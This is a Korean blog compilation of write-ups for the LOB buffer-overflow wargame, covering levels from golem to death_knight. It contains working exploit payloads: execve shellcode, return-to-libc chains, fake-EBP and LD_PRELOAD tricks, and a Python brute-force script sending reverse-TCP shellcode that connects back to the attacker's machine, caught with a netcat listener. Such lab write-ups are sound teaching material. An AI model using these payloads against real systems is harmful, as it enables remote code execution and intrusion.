LOB: Xavius→Death_knight

LOB 2018. 5. 17. 14:23

이번 코드는 길다..


/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h> 

#include <stdlib.h> 

#include <errno.h> 

#include <string.h> 

#include <sys/types.h> 

#include <netinet/in.h> 

#include <sys/socket.h> 

#include <sys/wait.h> 

#include <dumpcode.h>


main()

{

char buffer[40];


int server_fd, client_fd;  

struct sockaddr_in server_addr;   

struct sockaddr_in client_addr; 

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;        

server_addr.sin_port = htons(6666);   

server_addr.sin_addr.s_addr = INADDR_ANY; 

bzero(&(server_addr.sin_zero), 8);   


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

        

while(1) {  

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

            

if (!fork()){ 

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}

            

close(client_fd);  

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}


이번에는 Remote BOF이다.


외부에서 연결을 해서 쉘코드를 실행시켜야 하니 GDB로 열어볼 수 가 없다.


따라서 우리가 사용할 기법은 브루트 포스 (brute force)이다.


우선 Buffer이 40바이트라는 것만 기억하고 넘어가자.


브루트 포스는 한국어로 무작위대입이라고도 할 수 있고, 계속 값을 바꿔가며 입력하는 것이다.


우선 쉘코드를 준비해야하는데 이번에 사용할 쉘코드는 살짝 다르다.


Reverse_tcp shellcode 라고 하는데


 A reverse shell doesn't wait for incoming connections but connects to a specified address and port itself. That is, the attacker waits for an incoming connection by the compromised server instead of initiating the connection themself.


한 포럼에서 설명을 발견했다.


reverse shell은 상대가 보내는 연결을 기다리지 않고, 명시된 주소와 포트로 알아서 연결한다. 그러므로 공격자는 공격당한 서버가 connection을 여는것을 기다리기만 하면된다.

간단히 해석하면 이 정도이다.


쉘코드는 http://shell-storm.org/shellcode/files/shellcode-833.php 해당 사이트에서 복사해 수정하였다.


unsigned char code[] = \

"\x68"
"\x7f\x01\x01\x01"  // <- IP Number "127.1.1.1"
"\x5e\x66\x68"
"\xd9\x03"          // <- Port Number "55555"
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce";


이 코드에서 IP와 PORT를 바꾸면 된다.

IP는 공격자 PC 즉 내 경우에는 Ubuntu 16.04LTS VM의 IP이고 포트는 임의로 설정해 줘도 된다.


내 우분투의 IP는

보다시피 192.168.126.140이다. 


포트번호는 럭키넘버 7777로 하였다.

또, 나는 파이썬 코드를 사용할 것이기 때문에 문법도 약간 수정했다.

shellcode=\ "\x68"+\ "\xc0\xa8\x7e\x8c"+\ <-IP Number "192.168.126.140 "\x5e\x66\x68"+\ "\x1e\x61"+\           <- Port Number 7777 "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\ "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\ "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\ "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\ "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\ "\xeb\xce"


그리고 이제 brute force를 해야 한다.


payload 는 

A*44 <- 버퍼 40+ SFP4

RET주소 <- 브루트 포스 할 부분

NOP

shellcode

가 될 것이다.




HOST='192.168.126.130    //LOB VM의 IP주소이다

PORT=6666


for j in range(0xff, 0, -1):

for i in range(0, 0xff, 4):

payload = ("A" * 44) + chr(i) + chr(j) + "\xff\xbf" + ("\x90" * (256-len(shellcode)-48)) + shellcode

s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

print hex(j) + " " + hex(i)

print s.recv(1024)

s.send(payload)

s.close()


코드에 대해 설명을 하자면, 먼저 뒤에서 두번째 바이트 (예: 0xbfffaabb라면 aa부분)

을 1씩 줄여가며, 그 뒤 bb부분을 0부터 시작해서 ff까지 4씩 늘린다.

즉 RET은 

0xbfffff00

0xbfffff04

.....

이 될 것이다.


최종 코드는


#/usr/bin/env python


from socket import *

from struct import *


p = lambda x : pack("<L",x)


shellcode=\

"\x68"+\

"\xc0\xa8\x7e\x8c"+\

"\x5e\x66\x68"+\

"\x1e\x61"+\

"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\

"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\

"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\

"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\

"\xeb\xce"


HOST = '192.168.126.130'

PORT = 6666

limit = 255


for j in range(0xff, 0, -1):

for i in range(0, 0xff, 4):

payload = ("A" * 44) + chr(i) + chr(j) + "\xff\xbf" + ("\x90" * (256-len(shellcode)-48)) + shellcode

s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

print hex(j) + " " + hex(i)

print s.recv(1024)

#print s.recv(10)

s.send(payload)

s.close()


이 코드를 실행 해 두고,


nc -lvp 7777을 다른 터미널에 열어두면, 쉘코드가 제대로 들어갔을때 연결될 것이다.


nc의 -lvp 중 l은


Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.  

으로 상대가 연결을 먼저 만드는것을 기다리는 옵션이다. 

번외로 p는 포트를 지정이다.

v는 Have nc give more verbose output. 라고 하는데 잘은 모르겠다.


즉 이 -lvp 뒤에 포트를 지정해 주면 된다.




한번 실행해보자.



우선 nc로 7777포트를 listen해 두고




exploit.py를 실행시킨다



그리고 nc를 실행해둔 터미널을 실행해보면 연결이 되었고, root권한을 얻은 것을 볼 수 있다.



참고한 사이트

http://midascopp.tistory.com/43

https://security.stackexchange.com/questions/167579/what-is-the-difference-between-a-payload-and-shellcode



'LOB' 카테고리의 다른 글

LOB:Nightmare→Xavius  (0) 2018.05.14
LOB:Succubus→Nightmare  (0) 2018.05.14
LOB:Zombie_assassin→Succubus  (0) 2018.05.12
LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
블로그 이미지

천재보다는 범재

,

LOB:Nightmare→Xavius

LOB 2018. 5. 14. 19:39

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

char buffer[40];

char *ret_addr;


// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);


if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


if(*(buffer+47) == '\x08')

    {

printf("binary image retbayed you, too!!\n");

       exit(0);

    }


// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++; 

}


// stack destroyer

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}



이번 코드는 stdin을 사용해야 한다. 

stdin은 gdb 에서 x/x stdin으로 볼 수 있다.


먼저 printf와 fgets 에 BP를 걸고 실행해 보자.


기존 stdin에는 모두 0x00000000으로 차 있는것을 볼 수 있다.


continue해서 fgets 실행 후에 stdin을 보자



0x40015000 부터 차례대로 들어가 있는것을 볼 수 있다.

이 부분에 쉘코드를 넣고 실행하기 위해서, 0xcc를 알아야 하는데

0xcc에서 프로그램이 멈춘다고 한다. 혹시몰라서 4개나 넣었다.


(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*16 + "\xcc\xcc\xcc\xcc" + "\x00\x50\x01\x40"';cat) | ./xavius 



쉘코드를 넣고, 버퍼를 채운후 RET에 stdin의 주소를 넣었다. 




쉘 획득....

'LOB' 카테고리의 다른 글

LOB: Xavius→Death_knight  (0) 2018.05.17
LOB:Succubus→Nightmare  (0) 2018.05.14
LOB:Zombie_assassin→Succubus  (0) 2018.05.12
LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
블로그 이미지

천재보다는 범재

,

LOB:Succubus→Nightmare

LOB 2018. 5. 14. 13:59

가면 갈수록 어려워지는게 느껴진다.

말로 설명해야하고, 스샷으로 찍기가 어렵다. 적어도 이 문제는 이해할 부분이 많았다.

귀찮지만 난이도는 그리 높지 않으니 찬찬히 해보자.




먼저 코드이다. 우선 strcpy()의 주소를 사용해야하고, buffer의 40+8번째를 AAAA로 채운다. 이 주소가 뭔지 잘 생각해보면,


main의 ret에 strcpy()의 주소를 넣었으므로 이 주소는 strcpy의 리턴주소일 것이다.

즉 이 AAAA를 우리가 원하는 쉘코드의 위치로 바꿔야 쉘을 얻을 수 있다.


먼저 strcpy의 주소를 얻어보자.

힌트에는 PLT를 이용하라고 되어있는데, plt를 굳이 써야하는지는 모르겠다.


보다시피 gdb에서 바로 주소를 얻을 수 있기 때문이다.


그러면 우선 간단하게 파이썬코드를 짜보자.

`python -c 'print "A"*44 + "\x10\x94\x04\x08"'` 


이렇게 생긴게 기본일 것이다. 이제 저 뒤에 인자를 넘겨야 한다.




strcpy함수는 strcpy(char *dest , const char *src)로 되어있다.

스택의 구조를 생각했을 때 [strcpy의 주소] [RET] [인자...]이 될 것이다.


즉 우리는 인자로 strcpy의 ret을 쉘코드의 주소로 바꿀 것이다.


쉘코드는 앞쪽 40byte에 넣도록 하자.

`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*20 + "\x10\x94\x04\x08"'` 


버퍼의 시작주소와 strcpy의 RET을 알아야 하니 코어를 떨궈서 gdb로 열어보자.



버퍼의 시작점, RET 둘다 얻었다.

각각 

0xbffffa70, 0xbffffaa0 이다.

이 주소는 페이로드를 바꿀때마다 바뀌므로 주소를 잘 따오도록하자. 필자는 구조를 잘 몰랐기에 여러 시도를 하다보니 페이로드를 약 40번정도 수정했고, 주소는 바꿀때마다 계속 오락가락했다. 당연하게도 뒤에 저 주소들을 넣으면 주소가 조금 바뀔것이다. 계속 수정할 것을 권한다.

(예상하기엔 페이로드의 길이가 길어지면 스택이 더 자라므로, 주소가 조금씩 밑으로 밀리는것 같다)


그리고 strcpy의 dest는 목적지의 주소를 의미하지만 src는 해당 주소에 있는 주소의 내용을 복사한다. 즉 버퍼내에 버퍼의 시작지점을 복사해두고, src를 그 주소으로 해야한다.

필자는 계산하기 쉽도록 버퍼의 제일앞에 버퍼의 시작 주소를 넣어두었다.


`python -c 'print "\x64\xfa\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\x10\x94\x04\x08" + "BBBB" + "\x90\xfa\xff\xbf" + "\x60\xfa\xff\xbf"'` 


보다시피 페이로드를 수정하면서 주소값이 많이 바뀌었다. 중간의 과정은 필요없고, 각각 주소만 맞게 넣어주면 된다.

간단하게 설명하면

\x64\xfa\xff\xbf : 버퍼의 시작 + 4 이다. 버퍼의 시작부터 4바이트는 주소를 넣어놨기 때문이다.


x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 : 쉘코드이다. 24바이트


\x10\x94\x04\x08 : strcpy의 주소이다.


\x90\xfa\xff\xbf : dest주소이다. 이 주소에 strcpy의 ret가 담긴다. 주소가 위와 달라진 것을 확인할 수 있다.


\x60\xfa\xff\xbf : 버퍼의 시작주소이다. 이 주소에 \x64\xfa\xff\xbf 가 자리잡고 있다.



쉘을 획득한것을 확인하고 끝내도록 하자~

'LOB' 카테고리의 다른 글

LOB: Xavius→Death_knight  (0) 2018.05.17
LOB:Nightmare→Xavius  (0) 2018.05.14
LOB:Zombie_assassin→Succubus  (0) 2018.05.12
LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
블로그 이미지

천재보다는 범재

,

LOB:Zombie_assassin→Succubus

LOB 2018. 5. 12. 14:35

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}




역대급으로 긴 코드가 나왔당...


구조는 단순하다. check를 1씩 증가시켜가며  DO, GYE, GUL, YUT, MO를 올라간 후, MO에 인자로 /bin/sh를 넘겨주면 system("/bin/sh"); 가 되므로 쉘을 얻을 수 있다.


먼저 DO, GYE, GUL, YUT, MO를 따로 호출하지 않는데 그 주소를 찾아가야 하므로



gdb에서 각 주소를 가져오자.


0x80487ec <DO>

0x80487bc <GYE>

0x804878c <GUL>

0x804875c <YUT>

0x8048724 <MO>


각각 주소를 알았다. 그러면 어떻게 해서 함수를 호출할까?


단순하게 스택의 구조를 생각해보자.

함수를 호출하면 스택에 RET으로 돌아갈 주소가 들어간다.

한마디로 main의 RET에 DO의 주소를, DO의 RET에 GYE의 주소를... 이렇게 반복해 나가면 된다.


`python -c 'print "\x90"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08"+"\x24\x87\x04\x08"'`



그렇다면 우선 여기까지 짜 볼 수 있다.



이제 마지막 MO에 함수를 인자를 넘겨주면 된다.


이 부분이 가장 어려웠는데, 기존처럼 NOP Sled를 사용해서 확률을 올릴 수가 없으니 정확히 /bin/sh가 시작하는 주소를 찾아야 했다. 또 gdb에서 0xFF가 제대로 입력 되지 않아 core을 뜯어보아야 했고 이 주소가 계속해서 바뀌어서 여러번 삽질을 했던 것 같다. 똑같은 과정이 반복되었으니 마지막으로 얻은 주소만 캡쳐하였다.



코어를 떨구고



스택에서 0x41414141을 찾고



정확한 주소를 찾은 뒤, (/bin/sh는 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 이다)


페이로드를 짜고,


./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x6a\xfa\xff\xbf" + "\x90\x90" + "/bin/sh"'`




입력하였다.


문제푸는데 20시간 넘게걸린것 같다.

'LOB' 카테고리의 다른 글

LOB:Nightmare→Xavius  (0) 2018.05.14
LOB:Succubus→Nightmare  (0) 2018.05.14
LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
LOB:Bugbear→Giant  (0) 2018.04.30
블로그 이미지

천재보다는 범재

,

이번엔 \x40막고 \xbf를 막아 각각 시스템함수와 스택을 막았다.


그럼 저번처럼 코드 주소의 어셈블리어를 실행해서 해야할 것같다.

그런데 이번엔 strncpy를 사용하여 48만 받는다. 즉 이전처럼 버퍼 넘게 써서 RTL을 할 수 없다는 뜻이다..



그렇다면 이번엔 leave를 보자.

저번글에도 적었지만 leave는 


mov esp, ebp
pop ebp


를 의미한다.


즉 esp에 ebp를 옮기고, ebp를 pop한다는 뜻이다.

pop을 하면 esp에 +4가 되는건 저번과 같다.

그렇다면 우리가 원하는 NOP의 4바이트 전으로 SFP를 설정해두고 leave를 실행하면 어떨까


http://bob3rdnewbie.tistory.com/187


이를 Fake EBP 라고 한다. 이번 문제 코드 상단에도 FEBP라고 힌트가 있다.


즉 EBP의 위치를 NOP전 4바이트로 옮겨두고, leave를 한번 더 실행해 esp가 ebp를 가리키게 한다. 그 후 ret을 실행하면 pop으로 esp+4가 되므로 우리가 원하는 주소로 ESP가 이동하게 되는 것이다.


./zombie_assasin `python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x70\xfa\xff\xbf" + "\xdf\x84\x04\x08"



스택이 0xbffffa70남짓에서 시작하는 것이 보인다.



그언저리일 것이라고 주소를 조금씩 바꿔가면서 실행하자 shell을 얻을 수 있었다.


'LOB' 카테고리의 다른 글

LOB:Succubus→Nightmare  (0) 2018.05.14
LOB:Zombie_assassin→Succubus  (0) 2018.05.12
LOB:Giant→Assasin  (0) 2018.05.01
LOB:Bugbear→Giant  (0) 2018.04.30
LOB:Darkknight→Bugbear  (0) 2018.04.11
블로그 이미지

천재보다는 범재

,

LOB:Giant→Assasin

LOB 2018. 5. 1. 16:17

Assasin.c의 코드이다.

betrayed를 retbayed로 적은 오타가 있지만 무시하자.


우선 스택을 사용 못하게 하고, buffer과 sfp도 초기화한다.

\x40을 막음으로서 시스템함수로의 RTL도 막았다.


그럼 어떻게 해야할까..


코드 영역에 RET 명령을 다시 한번 호출 하게 되면 내부 동작에 의하여 esp에 저장된 복귀 주소를 pop하고 그 주소를 eip에 대입 하게 된다.

복귀 주소를 pop 하였기 때문에 esp+4가 됨으로써 다시 한번 리턴 할 수 있다.



함수를 종료할때 LEAVE와 RET를 실행한다.

LEAVE
mov ebp,esp
pop ebp

RET
pop eip


LEAVE는 ebp를 esp에 옮긴다.

즉 프로그램을 실행하기 전의 스택주소로 옮겨간다는 뜻이다.


RET은 POP EIP를 실행한다.

POP은 Stack에서 값을 빼오고 ESP에 +4를 해 그 밑 값을 가리키게 한다.

결과적으로 RET을 실행하면 되므로 ESP+4를 가리키게 된다.


나중에 다시 RET을 호출하게 되면 해당주소를 호출한다.

그러므로 ESP+4에 system함수로 RTL해놓으면 될 것이다.





RET의 주소는 0x804851e이다.








즉 페이로드는 다음과 같다.


./assasing `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`




RET주소를 AAAA로 넣었으므로 exit할때 Segmentation Fault가 뜬다.

'LOB' 카테고리의 다른 글

LOB:Zombie_assassin→Succubus  (0) 2018.05.12
LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Bugbear→Giant  (0) 2018.04.30
LOB:Darkknight→Bugbear  (0) 2018.04.11
LOB:Golem→Darkknight  (0) 2018.04.11
블로그 이미지

천재보다는 범재

,

LOB:Bugbear→Giant

LOB 2018. 4. 30. 18:40

이번엔 코드가 복잡해 보이지만 결국 excve의 주소값을 구해서 ret이 그 주솟값과 같지 않을 경우 종료되도록 되어있다.


우선 execve를 사용하야만 하므로 execve의 주소에 값을 넘겨서 /bin/sh를 실행해야 한다. 그렇게 하기 위해선

[system의 주소][exit함수 주소][/bin/sh의 주소][NULL주소]

1. system 주소

2.


execve의 주소를 구하려면 저 코드에서 보이는대로 일일히 구해도 되지만, 좀 더 쉬운방법이 있다.



GDB로 아무 파일이나 열어서 main에 멈추고 p execve로 구하는 것이다.

system과 exit함수의 주소도 쉽게 구했다.



execve => 0x400a9d48

system => 0x40058ae0

exit => 0x400391e0

이다.

그럼 /bin/sh만 구하면 된다.


\x0a는 \n을 의미하며 값으로 사용할시 \x00과 마찬가지로 입력을 잘라 버리기 때문에 `python`을 "로 한번 더 감싸줘야한다.



해당 코드를 짜서 컴파일 후 실행했다.



/bin/sh => 0x400fbff9

NULL => 0xbffffffc


따라서 페이로드는


./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xfc\xff\xff\xbf"'`"






'LOB' 카테고리의 다른 글

LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
LOB:Darkknight→Bugbear  (0) 2018.04.11
LOB:Golem→Darkknight  (0) 2018.04.11
LOB:Skeleton→Golem  (0) 2018.04.10
블로그 이미지

천재보다는 범재

,

LOB:Darkknight→Bugbear

LOB 2018. 4. 11. 19:04

bugbear.c의 코드이다.


주석에 RTL이라고 적혀있고, 이번엔 argv[1][47]에 0xbf면 exit하도록 바뀌었다.


RTL은 Return To liblary 의 약자로, 라이브러리 내의 함수로 점프하여 쉘을 실행하는것이다.

(http://itsaessak.tistory.com/270?category=977991)


간단히 말해서 위의 코드의 경우 스택에


┌──────────┐

│             buffer[40]            │ 

├──────────┤

│                  SFP                  │ 

├──────────┤

│                 addr                 │ 

├──────────┤

│                  argc                 │ 

├──────────┤

│                argv[0]               │ 

├──────────┤

│                 .......                  │



처럼 넣을 예정이다.


addr에는 시스템함수의 주소를 넣고, argv[0] 에 /bin/sh를 넣어 라이브러리에서 /bin/sh를 실행하게 하는 것이다.


gdb로 아무 프로그램이나 열어서 시스템 함수의 주소를 구해보자.



그냥 main에다 BP를 걸고 run한 후, p system을 하면 주소를 볼 수 있다.

0x40058ae0이 시스템의 주소인 것을 알 수 있다.



이 코드는 /bin/sh의 주소를 구해오는 코드이다. shell로 시스템의주소를 넣고, memcmp로 /bin/sh와 같은지 계속 비교해나간다. 


실행 결과 /bin/sh의위치가 0x400fbff9인것을 알 수 있다.


즉 44바이트로 SFP까지 덮은 후, system함수의 주소 0x40058ae0을 넣은 후, 4바이트를 또 채우고 /bin/sh의 주소 0x400fbff9를 인자로 넣어주면된다.


./bugbear `python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`








'LOB' 카테고리의 다른 글

LOB:Giant→Assasin  (0) 2018.05.01
LOB:Bugbear→Giant  (0) 2018.04.30
LOB:Golem→Darkknight  (0) 2018.04.11
LOB:Skeleton→Golem  (0) 2018.04.10
LOB:Vampire→Skeleton  (0) 2018.04.09
블로그 이미지

천재보다는 범재

,

LOB:Golem→Darkknight

LOB 2018. 4. 11. 12:14

darkknight의 코드이다. 이번엔 problem_child라는 함수를 통해서 strncrpy를 하는데, 41자만 하도록 되어있다. 따라서 이번엔 ret을 덮어쓰는건 불가능 하다.


그럼 무슨방법이 있을까?


주석을 보면 친절하게 -FPO라는 것이 적혀있다. 


http://bob3rdnewbie.tistory.com/188 을 참고 해서 FPO 취약점에 대해 알아보았다. 마침 strncpy도 41바이트를 받으므로 조건이 갖춰졌다.


우선 gdb로 메인함수를 보자.



간단하게 problem_child를 호출하는 것을 볼 수 있다.


그럼 problem_child를 보자



strncpy가 보인다. 함수가 종료되기 직전의 스택상황을 보고 싶으니 problem_child+41에 BP를 걸자.


B *problem_child+41


그리고 한번 실행해 보자.


 r `python -c 'print "A"*40'`


보면 0xbffffad4부터 들어가 있는 것을 볼 수있다. 그리고 SFP는 0xbffffb00으로 보인다.


버퍼가 있는 주소는 fa인데 SFP가 fb라니.. 그럼 덮어쓸 수가 없는걸까?


라고 생각하다가, 전에 버퍼에 내용을 많이 넣어서 주소를 0xbffe----까지 내렸던 기억이 났다.


그래서 한번 버퍼 뒤로 글자들을 더 넣어보았다.



보다시피, 0xbffffa--로 바뀐것을 확인했다.


그럼 버퍼 안으로 쉘코드를 넣고, SFP를 버퍼 앞으로 바꾸면 되지 않을까?


./darkknight `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xc4" + "\x90"*55'






보다시피 Illegal instruction 이 뜬다. 코어를 뜯어보니,


제대로 패치 되지 않았다.


잘 생각해보니 이번에 내가 넣은 쉘코드는 24byte이므로 0x90을 16개 넣어줘야했는데 바보처럼 15개를 넣어버린 것이었다.


./darkknight `python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x58" + "\x90"*55'`




바꾸고 넣어보니 이번에는 세폴이 뜬다. 또 코어를 까보자



보아하니 레지스터중 ebp와 eip가 보두 0x90909090이 되어있었다. 이유는 모르겠지만 NOP를 너무 많이 넣은건가?


한번뒤에 NOP를 25개정도로 줄여보았다.


./darkknight `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xc4" + "\x90"*25'





그랬더니 쉘을 획득했다.




아직 FPO이해 안됨

'LOB' 카테고리의 다른 글

LOB:Bugbear→Giant  (0) 2018.04.30
LOB:Darkknight→Bugbear  (0) 2018.04.11
LOB:Skeleton→Golem  (0) 2018.04.10
LOB:Vampire→Skeleton  (0) 2018.04.09
LOB : Troll→Vampire  (0) 2018.04.09
블로그 이미지

천재보다는 범재

,

LOB:Skeleton→Golem

LOB 2018. 4. 10. 21:11

이번 코드는 버퍼와 함께 스택메모리를 전부다 지워버린다.


따라서 오버플로우 하기 힘들어 보인다.


사실 이번 문제는 모르고는 못 푸는 문제중 하나인데, 기존과 다른 새로운 기법이 사용되기 때문이다. 이 기법은 '공유 라이브러리' 라는 것인데, 다음 그림을 보자.


공유 라이브러리는 프로그램이 시작되기 전 심볼(함수,변수)들을 로드하여, 필요로 할때마다 연동되는 동적인 라이브러리다. 만약 하나의 프로그램이 실행되어서 공유 라이브러리를 사용했다면, 그뒤에 공유 라이브러리를 사용하는 모든 프로그램은 자동적으로 만들어져 있는 공유 라이브러리를 사용하게 된다.

출처: http://j4ckp4rd.tistory.com/58 [잭파드의 외장뇌]



공유 라이브러리를 만드는 것은 어렵지 않다. gcc로 아무 파일이나 컴파일 하면서 옵션을 넘기면 된다.



이렇게 아무 의미도 없는 코드를 하나 짜고, gcc로 컴파일 해준다.


대신 넘겨줘야 하는 옵션이 여러가지 있다


바로 -fPIC, -shared 이 두가지이다.


따라서 컴파일 할때


gcc [파일명] -fPIC -shared -o [출력파일명]


을 사용하면 될 것이다.


여기서 출력 파일 명을 잘 생각해보아야 한다.


우리는 LD_PRELOAD 라는 환경변수를 이용해 이 라이브러리를 프로그램이 실행될때 로드되게 할 것이다. 로드할 경우 파일의 경로와 주소가 전달 되는데 이 경로에  쉘코드를 넣으면 어떨까? 메모리에 쉘코드가 들어가는 것이다.



gcc code.c -fPIC -shared -o `python -c 'print "\x90"*70 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f

\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\

x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`


이번에도 파일명이기 떄문에 0x2f가 없는 쉘코드를 사용하여야 한다.



===============================================


컴파일된 파일이 생성된 것을 확인하였다.


이제 이 공유 라이브러리를 환경변수 LD_PRELOAD에 넣어야 한다.

대신 주의할점이 전체 경로를 적어야 한다. 경로가 확실하지 않으면 pwd로 알아놓고시작하자.


export LD_PRELOAD=`python -c 'print "/home/skeleton/temp/"\x90"*70 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a

\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`


env로 확인해보면 제대로 들어갔음을 확인할 수 있다.



그럼 프로그램이 시작될때 이 정보가 어느 주소에 들어가는지 확인해보자.


golem을 하위 temp에 복사한 후 gdb로 실행한다.



실행하고 메모리를 쭉 까보자.

구조상 공유메모리가 스택보다 전에 있으므로 esp-3000쯤 해서 내려보자.



